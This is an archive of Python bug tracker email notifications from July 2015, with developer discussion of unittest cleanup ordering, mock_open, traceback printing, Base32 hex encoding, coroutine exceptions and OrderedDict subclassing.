From report at bugs.python.org  Thu Jul 23 15:34:20 2015
From: report at bugs.python.org (Michael Foord)
Date: Thu, 23 Jul 2015 13:34:20 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437658460.01.0.903172093701.issue21750@psf.upfronthosting.co.za>


Michael Foord added the comment:

So the problem with the testing-cabal issue 280 is *really* a problem with decorators - the decorator is applied at method creation time and mock_open is only called once rather than once *per call*.

Better would be to use mock.patch as a context manager inside the test, so that mock_open is (correctly) called each time.

>From a purist point of view I think that the Python 3.5==mock 1.1.4 behaviour is *better*. Whether that's enough justification to break existing code is a difficult question.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 15:42:42 2015
From: report at bugs.python.org (Robert Collins)
Date: Thu, 23 Jul 2015 13:42:42 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437658962.07.0.622051144845.issue21750@psf.upfronthosting.co.za>


Robert Collins added the comment:

@Paul

So the problem is that its never been a high fidelity thing in that sense.... In that:
3.3 -> read() is a constant for the thing opened from the mock
3.4 -> read() works once and only once across all opened files from the mock
3.5 today -> read() works once for *each* opened file from the mock, but you *can't access* each file object (because the mock.returnvalue is replaced each time, which is unmocklike)

With this patch: -> read() works once for each opened file, as long as the sequence open -> read -> open -> read is followed, and mock.returnvalue is a constant, mocklike.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 15:43:04 2015
From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=)
Date: Thu, 23 Jul 2015 13:43:04 +0000
Subject: [issue24694] callables registered in TestCase.addCleanup should be
 run before tearDown
Message-ID: <1437658984.72.0.371299012028.issue24694@psf.upfronthosting.co.za>


New submission from Charles-Fran?ois Natali:

Consider this code:

-----------------------------------------------------
from __future__ import print_function

from pyccp.unittest import SafeTestCase


class MyTest(SafeTestCase):

    def setUp(self):
        print("setUp")

    def tearDown(self):
        print("tearDown")

    def test(self):
        print("creating")
        self.addCleanup(lambda: print("destroying"))
-----------------------------------------------------


When run:

setUp
creating
tearDown
destroying


We lose the LIFO ordering between between setUP and addCleanup, which is highly counter-intuitive, and almost always incorrect (despite addCleanup being docuemented to be run after tearDown).

----------
components: Library (Lib)
messages: 247196
nosy: neologix
priority: normal
severity: normal
status: open
title: callables registered in TestCase.addCleanup should be run before tearDown
type: behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 15:50:39 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 13:50:39 +0000
Subject: [issue24694] callables registered in TestCase.addCleanup should be
 run before tearDown
In-Reply-To: <1437658984.72.0.371299012028.issue24694@psf.upfronthosting.co.za>
Message-ID: <1437659439.41.0.883084907311.issue24694@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

This is a documented behaviour, changing it would likely break too much code.

Moreover, I don't think that calling addCleanup callbacks before tearDown makes more sense than after.  tearDown is a common cleanup method for all tests of testcase, and addCleanup callbacks are for additional cleanup procedures.

-1 on changing this.

----------
nosy: +yselivanov

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 15:57:17 2015
From: report at bugs.python.org (Robert Collins)
Date: Thu, 23 Jul 2015 13:57:17 +0000
Subject: [issue24694] callables registered in TestCase.addCleanup should be
 run before tearDown
In-Reply-To: <1437658984.72.0.371299012028.issue24694@psf.upfronthosting.co.za>
Message-ID: <1437659837.8.0.495243392604.issue24694@psf.upfronthosting.co.za>


Robert Collins added the comment:

The ordering is deliberate to support folk migrating from tearDown to cleanups - its not a bug. I thought we documented it clearly - https://docs.python.org/dev/library/unittest.html#unittest.TestCase.doCleanups - but if you wanted to submit improvements to the docs, that would be welcome.

The reverse ordering you propose, setup -> cleanups -> teardown means that its nearly impossible to migrate to cleanups bottom-up, you have to migrate top-down, which locks folk in inheritance based frameworks into waiting for the top of the tree to migrate first.

class Base(TestCase):

 def setUp(self):
  super().setUp()
  self.helper = Something()

 def tearDown(self):
  self.helper.finished()
  self.helper = None
  super().tearDown()


class Child(Base):

 def setUp(self):
  super().setUp()
  self.addCleanup(self.helper.release, my_resource)



If the order is
setup
teardown
cleanup

then in the cleanup the helper is already finished, and the release call will fail.

With the order of
setup
cleanup
teardown

The child's cleanup runs before the parents teardowns.

It does of course pose the same reverse problem: the base of an inheritance based frame for tests needs to be more conservative adopting cleanups, or signal backwards incompatibility, but since that is generally true anyway (frameworks move slower than their users), we considered it a reasonable tradeoff.


btw, you don't need a lambda in your example:

 self.addCleanup(print, 'destroying')

----------
nosy: +rbcollins

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 15:59:58 2015
From: report at bugs.python.org (Robert Collins)
Date: Thu, 23 Jul 2015 13:59:58 +0000
Subject: [issue24694] callables registered in TestCase.addCleanup should be
 run before tearDown
In-Reply-To: <1437658984.72.0.371299012028.issue24694@psf.upfronthosting.co.za>
Message-ID: <1437659998.86.0.718163513736.issue24694@psf.upfronthosting.co.za>


Robert Collins added the comment:

Argh, and my memory had things inverted.

Anyhow - the inheritance story was the big thing, and -1 on changing.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:05:36 2015
From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=)
Date: Thu, 23 Jul 2015 14:05:36 +0000
Subject: [issue24694] callables registered in TestCase.addCleanup should be
 run before tearDown
In-Reply-To: <1437659998.86.0.718163513736.issue24694@psf.upfronthosting.co.za>
Message-ID: 


Charles-Fran?ois Natali added the comment:

I understand the risk of breakeage, but that's still broken, because
we break LIFO ordering.

I'd been using addCleanup() for years and never bothered looking at
the documentation - which is admitedly a mistake - because LIFO
ordering is the natural behavior: since addCleanup() is called once
the test has been entered - so after setUp, logic would expect it to
be undone before tearDown.

But I guess that ship has sailed...

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:08:21 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 14:08:21 +0000
Subject: [issue24694] callables registered in TestCase.addCleanup should be
 run before tearDown
In-Reply-To: <1437658984.72.0.371299012028.issue24694@psf.upfronthosting.co.za>
Message-ID: <1437660501.6.0.861216105219.issue24694@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> But I guess that ship has sailed...

Closing the issue.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:10:52 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 14:10:52 +0000
Subject: [issue21217] inspect.getsourcelines finds wrong lines when lambda
 used argument to decorator
In-Reply-To: <1397496660.33.0.566497694968.issue21217@psf.upfronthosting.co.za>
Message-ID: <20150723141048.62375.82388@psf.io>


Roundup Robot added the comment:

New changeset 4e42a62d5648 by Yury Selivanov in branch '3.5':
Issue #24485: Revert backwards compatibility breaking changes of #21217.
https://hg.python.org/cpython/rev/4e42a62d5648

New changeset 98a2bbf2cce2 by Yury Selivanov in branch 'default':
Merge 3.5 (issues #21217, #24485).
https://hg.python.org/cpython/rev/98a2bbf2cce2

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:10:52 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 14:10:52 +0000
Subject: [issue24485] Function source inspection fails on closures
In-Reply-To: <1434966088.74.0.807832836071.issue24485@psf.upfronthosting.co.za>
Message-ID: <20150723141048.62375.76716@psf.io>


Roundup Robot added the comment:

New changeset 4e42a62d5648 by Yury Selivanov in branch '3.5':
Issue #24485: Revert backwards compatibility breaking changes of #21217.
https://hg.python.org/cpython/rev/4e42a62d5648

New changeset 98a2bbf2cce2 by Yury Selivanov in branch 'default':
Merge 3.5 (issues #21217, #24485).
https://hg.python.org/cpython/rev/98a2bbf2cce2

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:13:43 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 14:13:43 +0000
Subject: [issue24485] Function source inspection fails on closures
In-Reply-To: <1434966088.74.0.807832836071.issue24485@psf.upfronthosting.co.za>
Message-ID: <1437660823.4.0.449834599223.issue24485@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Meador, I've reverted changes introduced in #21217 -- I don't want to risk shipping 3.5beta4 with broken backwards compatibility.

Feel free to rebase & commit your patch (I decorated test_decorator_with_lambda with @unittest.expectedFailure).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:15:35 2015
From: report at bugs.python.org (=?utf-8?q?Matth=C3=A4us_Wander?=)
Date: Thu, 23 Jul 2015 14:15:35 +0000
Subject: [issue16995] Add Base32 support for RFC4648 "Extended Hex" alphabet
 (patch attached)
In-Reply-To: <1358533279.94.0.666576182033.issue16995@psf.upfronthosting.co.za>
Message-ID: <1437660935.68.0.363569879874.issue16995@psf.upfronthosting.co.za>


Matth?us Wander added the comment:

*facepalm* Yes, I uploaded the old patch twice. Sorry for that.

- Added doc update.
- Added test case that includes all 32 characters codes.

I'm reusing the existing Base32 table generation logic without changes. It has been changed (in 3.4 or so) since the first patch. If the logic is still to be changed as suggested by Martin in Rietveld review, I'd suggest to open a separate issue because it affects the existing Base32 implementation, too.

----------
Added file: http://bugs.python.org/file39995/py36_base32hex.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:29:30 2015
From: report at bugs.python.org (Carol Willing)
Date: Thu, 23 Jul 2015 14:29:30 +0000
Subject: [issue24689] Add tips for effective online communication to devguide
In-Reply-To: <1437626209.97.0.982042727918.issue24689@psf.upfronthosting.co.za>
Message-ID: <1437661770.89.0.663426206595.issue24689@psf.upfronthosting.co.za>


Carol Willing added the comment:

Ezio and Stephen, The "content" that you are brainstorming here is very helpful, and I'm learning new resources and detail from it. 

I've learned something from Ezio's link to Nick's post on python-committers. I'm not a core developer so I'm not subscribed to this list (kudos for the archives being public). When Stephen mentioned "if mailing list code of conduct is to be fleshed out" in msg247162, I was confused by the comment since I had not intended these tracker issues to be the place to develop a mailing list CoC. That's a bigger task :D and I want to stay focused on small, practical patches that are iterated over time.

[Note: A good takeaway from this is that there will be times that core developers believe that a topic has been extensively discussed i.e. mailing list CoC. Yet, the contributors without core developer status would not be aware that the topic has been extensively discussed unless they regularly read the python-committer archives.]

As a group, I think it would be helpful to step back for a moment and remind ourselves the improving mailing list communications will use a number of resources (FAQs, CoCs, devguide, helpful model messages, useful info from other projects, etc.).

As a next step on this issue, I will take the action item of editing 12.1 Mailing Lists to provide better description of each list's purpose. I will also draft section 12.4 Tips for effective online communication (more CPython focused than general). When I post the patch, I will also suggest updates that may be helpful to include in the communications section of the FAQ.

Thanks to each of you for caring about being welcoming and considerate to our community members and for lending your experience to improving the complex and fluid blob of communication between people.

P.S. Please keep your ideas and suggestions flowing. We can roll them over into new issues as we feel is helpful.

----------
assignee:  -> willingc

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:36:37 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 14:36:37 +0000
Subject: [issue13248] deprecated in 3.2/3.3, should be removed in 3.5 or ???
In-Reply-To: <1319392186.66.0.823106983991.issue13248@psf.upfronthosting.co.za>
Message-ID: <20150723143634.8512.65196@psf.io>


Roundup Robot added the comment:

New changeset a565aad5d6e1 by Yury Selivanov in branch 'default':
Issue #13248: Remove inspect.getargspec from 3.6 (deprecated from 3.0)
https://hg.python.org/cpython/rev/a565aad5d6e1

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:42:19 2015
From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=)
Date: Thu, 23 Jul 2015 14:42:19 +0000
Subject: [issue24695] Don't print traceback header if traceback is None
Message-ID: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>


New submission from Adam Barto?:

The documentation of traceback.print_exception says "if traceback is not None, it prints a header Traceback (most recent call last):". That also meant that the header wasn't printed if traceback was None. However, the new Python 3.5 TracebackException object always prints the header.

----------
components: Library (Lib)
messages: 247208
nosy: Drekin
priority: normal
severity: normal
status: open
title: Don't print traceback header if traceback is None
type: behavior
versions: Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:49:38 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 14:49:38 +0000
Subject: [issue13248] deprecated in 3.2/3.3, should be removed in 3.5 or ???
In-Reply-To: <1319392186.66.0.823106983991.issue13248@psf.upfronthosting.co.za>
Message-ID: <20150723144935.3147.61027@psf.io>


Roundup Robot added the comment:

New changeset 558199e060fd by Yury Selivanov in branch 'default':
Issue #13248: Remove inspect.getmoduleinfo() from 3.6 (deprecated in 3.3)
https://hg.python.org/cpython/rev/558199e060fd

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:50:03 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 14:50:03 +0000
Subject: [issue16995] Add Base32 support for RFC4648 "Extended Hex" alphabet
 (patch attached)
In-Reply-To: <1358533279.94.0.666576182033.issue16995@psf.upfronthosting.co.za>
Message-ID: <1437663003.7.0.625192997802.issue16995@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


Added file: http://bugs.python.org/file39996/py36_base32hex.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:52:20 2015
From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=)
Date: Thu, 23 Jul 2015 14:52:20 +0000
Subject: [issue24696] Don't use None as sentinel for traceback
Message-ID: <1437663140.05.0.49769295759.issue24696@psf.upfronthosting.co.za>


New submission from Adam Barto?:

There is a subtle bug in Python 3.4 implementation of traceback library:

>>> import traceback
>>>
>>> try:
...     1 / 0
... except Exception as e:
...     exc = e
...
>>> traceback.print_exception(exc.__class__, exc, exc.__traceback__)
Traceback (most recent call last):
  File "", line 2, in 
ZeroDivisionError: division by zero
>>> 
>>> traceback.print_exception(exc.__class__, exc, None)
Traceback (most recent call last):
  File "", line 2, in 
ZeroDivisionError: division by zero
>>> 
>>> traceback.print_exception(exc.__class__, exc, None, chain=False)
ZeroDivisionError: division by zero

As can be seen, giving None traceback is ignored if chain == True. This is because None is incorrectly used as a sentinel value in traceback._iter_chain (see line 135).

Note that this bug is fixed in Python 3.5 since there is a new implementation of traceback module using TracebackException objects. Will this be backported to Python 3.4? Otherwise, the bug itself should be fixed anyway.

----------
components: Library (Lib)
messages: 247210
nosy: Drekin
priority: normal
severity: normal
status: open
title: Don't use None as sentinel for traceback
type: behavior
versions: Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:56:28 2015
From: report at bugs.python.org (Robert Collins)
Date: Thu, 23 Jul 2015 14:56:28 +0000
Subject: [issue24694] callables registered in TestCase.addCleanup should be
 run before tearDown
In-Reply-To: <1437658984.72.0.371299012028.issue24694@psf.upfronthosting.co.za>
Message-ID: <1437663388.59.0.621315574666.issue24694@psf.upfronthosting.co.za>


Robert Collins added the comment:

So yeah - setup  + cleanup is LIFO.
setup + teardown *can* be LIFO [depends on where you upcall]

setup + teardown + cleanup CANNOT be LIFO in all cases: we have to pick one, and either local-first or local-last.

So it is ultimately somewhat arbitrary and transitionary: one shouldn't use tearDown + cleanups, because tearDown is just a poor API by comparison.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:57:19 2015
From: report at bugs.python.org (Robert Collins)
Date: Thu, 23 Jul 2015 14:57:19 +0000
Subject: [issue2091] file accepts 'rU+' as a mode
In-Reply-To: <1202856909.89.0.801927341292.issue2091@psf.upfronthosting.co.za>
Message-ID: <1437663439.19.0.289774414421.issue2091@psf.upfronthosting.co.za>


Robert Collins added the comment:

@Larry - should this go in 3.5, or would you rather it not?

----------
nosy: +larry

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 16:58:43 2015
From: report at bugs.python.org (R. David Murray)
Date: Thu, 23 Jul 2015 14:58:43 +0000
Subject: [issue24695] Don't print traceback header if traceback is None in
 TracebackException
In-Reply-To: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>
Message-ID: <1437663523.45.0.0925078332578.issue24695@psf.upfronthosting.co.za>


Changes by R. David Murray :


----------
stage:  -> needs patch
title: Don't print traceback header if traceback is None -> Don't print traceback header if traceback is None in TracebackException
versions: +Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:00:32 2015
From: report at bugs.python.org (Robert Collins)
Date: Thu, 23 Jul 2015 15:00:32 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437663632.17.0.7514416469.issue21750@psf.upfronthosting.co.za>


Robert Collins added the comment:

Discussed with Michael Foord; we're going to go with the -2 patch - the new behaviour.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:10:15 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 15:10:15 +0000
Subject: [issue24697] Add CoroutineReturn and CoroutineExit builtin exceptions
 for coroutines
Message-ID: <1437664215.74.0.89761121939.issue24697@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

Since native coroutines (see PEP 492) hadn't had a separate type when the PEP was accepted, we didn't discuss that it might be necessary to introduce new exception types specifically for coroutines.

To maintain backwards compatibility with 3.5, I think we can do the following:

1. Add CoroutineReturn exception type, inherited from StopIteration;

2. Add CoroutineExit exception type, inherited from GeneratorExit.

----------
assignee: yselivanov
components: Interpreter Core
messages: 247214
nosy: gvanrossum, ncoghlan, yselivanov
priority: normal
severity: normal
status: open
title: Add CoroutineReturn and CoroutineExit builtin exceptions for coroutines
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:21:06 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 15:21:06 +0000
Subject: [issue2091] file accepts 'rU+' as a mode
In-Reply-To: <1202856909.89.0.801927341292.issue2091@psf.upfronthosting.co.za>
Message-ID: <1437664865.98.0.45574696808.issue2091@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I would add a warning in 3.4- (or 3.5-). The 'U' mode should not work
with '+', and it can't work with '+' correctly. This is a bug that we can decide not fix by raising an exception.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:21:45 2015
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 23 Jul 2015 15:21:45 +0000
Subject: [issue24695] Don't print traceback header if traceback is None in
 TracebackException
In-Reply-To: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>
Message-ID: <1437664905.42.0.538161131735.issue24695@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
nosy: +rbcollins

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:26:16 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 15:26:16 +0000
Subject: [issue16995] Add Base32 support for RFC4648 "Extended Hex" alphabet
 (patch attached)
In-Reply-To: <1358533279.94.0.666576182033.issue16995@psf.upfronthosting.co.za>
Message-ID: <1437665176.27.0.71098324968.issue16995@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Added comments on Rietveld.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:26:24 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 15:26:24 +0000
Subject: [issue16995] Add Base32 support for RFC4648 "Extended Hex" alphabet
 (patch attached)
In-Reply-To: <1358533279.94.0.666576182033.issue16995@psf.upfronthosting.co.za>
Message-ID: <1437665184.9.0.0658109338215.issue16995@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
stage: needs patch -> patch review

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:33:23 2015
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 23 Jul 2015 15:33:23 +0000
Subject: [issue24697] Add CoroutineReturn and CoroutineExit builtin exceptions
 for coroutines
In-Reply-To: <1437664215.74.0.89761121939.issue24697@psf.upfronthosting.co.za>
Message-ID: 


Guido van Rossum added the comment:

What problem does this solve?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:33:26 2015
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 23 Jul 2015 15:33:26 +0000
Subject: [issue24697] Add CoroutineReturn and CoroutineExit builtin exceptions
 for coroutines
In-Reply-To: <1437664215.74.0.89761121939.issue24697@psf.upfronthosting.co.za>
Message-ID: 


Guido van Rossum added the comment:

What problem does this solve?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:34:40 2015
From: report at bugs.python.org (Erik Bray)
Date: Thu, 23 Jul 2015 15:34:40 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437665680.77.0.943531872406.issue24651@psf.upfronthosting.co.za>


Changes by Erik Bray :


----------
nosy: +erik.bray

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 17:49:29 2015
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 23 Jul 2015 15:49:29 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <20150723154926.3161.31464@psf.io>


Roundup Robot added the comment:

New changeset 83e28ee348bf by Robert Collins in branch '3.4':
Issue #21750: Further fixup to be styled like other mock APIs.
https://hg.python.org/cpython/rev/83e28ee348bf

New changeset b30fc1de006c by Robert Collins in branch '3.5':
Issue #21750: Further fixup to be styled like other mock APIs.
https://hg.python.org/cpython/rev/b30fc1de006c

New changeset c896ab62ac75 by Robert Collins in branch 'default':
Issue #21750: Further fixup to be styled like other mock APIs.
https://hg.python.org/cpython/rev/c896ab62ac75

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 18:16:04 2015
From: report at bugs.python.org (Robert Collins)
Date: Thu, 23 Jul 2015 16:16:04 +0000
Subject: [issue24695] Don't print traceback header if traceback is None in
 TracebackException
In-Reply-To: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>
Message-ID: <1437668164.1.0.904487165393.issue24695@psf.upfronthosting.co.za>


Robert Collins added the comment:

Huh,indeed.

So clearly we should have a test for that behaviour (and fix it).

We're very close to the 3.5 release date, but this is a regression - care to whip up a patch?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 18:33:09 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 23 Jul 2015 16:33:09 +0000
Subject: [issue24455] IDLE debugger causes crash if not quitted properly
 before next run
In-Reply-To: <1434383850.99.0.136251358232.issue24455@psf.upfronthosting.co.za>
Message-ID: <1437669189.06.0.855938664993.issue24455@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Thank you for testing this.  I am hoping that you left the patch applied for testing in routine use.  I an now reviewing the code so I can understand it well enough to apply, and to see what non-debug functions might possibly be affected, and need testing with the patch applied.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 18:58:44 2015
From: report at bugs.python.org (Carol Willing)
Date: Thu, 23 Jul 2015 16:58:44 +0000
Subject: [issue10708] Misc/porting should be folded into the development FAQ
 or the devguide
In-Reply-To: <1292427453.79.0.452399127359.issue10708@psf.upfronthosting.co.za>
Message-ID: <1437670724.05.0.969010833754.issue10708@psf.upfronthosting.co.za>


Carol Willing added the comment:

I reviewed the patch for this issue, and it looks ready to commit. If one of the core devs could do the commit review/merge, we can close out this issue :)

Thanks Paul for your contribution. The patch looks good. As a tip for the future, it's helpful if you mention another section in the devguide to create a link to it.

Let's get this merged and closed :D

----------
stage: needs patch -> commit review

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 19:19:38 2015
From: report at bugs.python.org (Alex Budovski)
Date: Thu, 23 Jul 2015 17:19:38 +0000
Subject: [issue24698] get_externals.bat script fails
Message-ID: <1437671978.74.0.066435093939.issue24698@psf.upfronthosting.co.za>


New submission from Alex Budovski:

The svn commands need to be wrapped with "call", otherwise the batch interpreter hangs. Attached simple fix.

----------
files: externalsfix.diff
keywords: patch
messages: 247223
nosy: Alex Budovski
priority: normal
severity: normal
status: open
title: get_externals.bat script fails
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file39997/externalsfix.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 19:31:28 2015
From: report at bugs.python.org (Eric Frederich)
Date: Thu, 23 Jul 2015 17:31:28 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437672688.43.0.87043463352.issue24685@psf.upfronthosting.co.za>


Eric Frederich added the comment:

Raymond,

Thanks for the explanation of your reasoning.
Could you please provide an example of how to create a cooperative subclass of OrderedDict?

I have attempted to make one.
I succeeded to make it work where the previous example failed but in doing made the example that used to work now fail.
I have attached my attempt at making a cooperative OrderedDict in inj2.py

class coop_OrderedDict(OrderedDict):
    """
    A cooperative version of OrderedDict
    """
    def __setitem__(self, k, v, **kwargs):
        # OrderedDict calls dict.__setitem__ directly skipping over LoggingDict
        # fortunately we can control this with dict_setitem keyword argument

        # calculate OrderedDict's real parent instead of skipping right to dict.__setitem__
        # though depending on the hierarchy it may actually be dict.__setitem__
        m = super(OrderedDict, self).__setitem__
        # dict_setitem wants an unbound method
        unbound_m = m.im_func
        return super(coop_OrderedDict, self).__setitem__(k, v, dict_setitem=unbound_m)

In Python2 it fails with:

Traceback (most recent call last):
  File "/tmp/inj2.py", line 51, in 
    old1['hooray'] = 'it worked'
  File "/tmp/inj2.py", line 30, in __setitem__
    return super(LoggingDict, self).__setitem__(k, v)
  File "/tmp/inj2.py", line 18, in __setitem__
    unbound_m = m.im_func
AttributeError: 'method-wrapper' object has no attribute 'im_func'

In Python3 both cases fail.

----------
Added file: http://bugs.python.org/file39998/inj2.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 19:33:20 2015
From: report at bugs.python.org (Eric Frederich)
Date: Thu, 23 Jul 2015 17:33:20 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437672800.79.0.797859579913.issue24685@psf.upfronthosting.co.za>


Changes by Eric Frederich :


Removed file: http://bugs.python.org/file39998/inj2.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 19:33:47 2015
From: report at bugs.python.org (Eric Frederich)
Date: Thu, 23 Jul 2015 17:33:47 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437672827.97.0.891545101784.issue24685@psf.upfronthosting.co.za>


Changes by Eric Frederich :


Added file: http://bugs.python.org/file39999/inj2.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 19:35:47 2015
From: report at bugs.python.org (R. David Murray)
Date: Thu, 23 Jul 2015 17:35:47 +0000
Subject: [issue24698] get_externals.bat script fails
In-Reply-To: <1437671978.74.0.066435093939.issue24698@psf.upfronthosting.co.za>
Message-ID: <1437672947.32.0.392045829408.issue24698@psf.upfronthosting.co.za>


R. David Murray added the comment:

This script has been working for a long time, and while it was updated recently there was no 'call' previously either.  What environment are you experiencing a hang in?

----------
components: +Windows
nosy: +paul.moore, r.david.murray, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 19:41:34 2015
From: report at bugs.python.org (Steve Dower)
Date: Thu, 23 Jul 2015 17:41:34 +0000
Subject: [issue24698] get_externals.bat script fails
In-Reply-To: <1437671978.74.0.066435093939.issue24698@psf.upfronthosting.co.za>
Message-ID: <1437673294.27.0.546470465531.issue24698@psf.upfronthosting.co.za>


Steve Dower added the comment:

Apparently you've installed SVN differently and you're calling svn.bat (or svn.cmd) instead of svn.exe.

Adding call there should not cause a problem for people who have svn.exe, but Alex, I suggest you try running "where svn" to make sure you are actually invoking the right thing.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 20:28:10 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 18:28:10 +0000
Subject: [issue24697] Add CoroutineReturn and CoroutineExit builtin exceptions
 for coroutines
In-Reply-To: <1437664215.74.0.89761121939.issue24697@psf.upfronthosting.co.za>
Message-ID: <1437676090.02.0.713682625572.issue24697@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> What problem does this solve?

